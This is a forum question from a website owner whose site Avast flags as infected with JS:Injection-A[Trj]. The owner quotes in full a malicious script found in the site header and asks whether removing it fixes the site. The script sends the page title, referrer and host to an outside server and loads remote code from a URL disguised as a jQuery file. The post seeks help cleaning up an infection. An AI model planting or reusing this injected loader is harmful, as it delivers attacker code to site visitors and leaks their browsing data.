title: Avast gives error of JS:Injection-A[Trj] on my website
body: <p>Today I got a warning from Avast when I wanted to enter to my website:
  forumhan.com.</p>
  
  <p>To understand this you must have Avast on your computer.</p>
  
  <p>My website was infected with JS:Injection-A[Trj] — that's why it wasn't showing.</p>
  
  <p>And when I look, I found this on my header:</p>
  
  <pre><code>&lt;script&gt;var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http://vkza.tora.ru/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&amp;se_referrer=" + se_referrer + "&amp;source=" + host; var f_url = base + "?c_utt=snt2014&amp;c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null &amp;&amp; default_keyword !== '' &amp;&amp; se_referrer !== null &amp;&amp; se_referrer !== ''){document.write('&lt;script type="text/javascript" src="' + f_url + '"&gt;' + '&lt;' + '/script&gt;');}&lt;/script&gt;
  </code></pre>
  
  <p>As I am not a professional, I cannot understand if there is any relation with other files.</p>
  
  <p>Is there any call to other files in this code?</p>
  
  <p>Does removing this solve the problem or not?</p>
  
  <p>I removed it, but I cannot see my webpage.</p>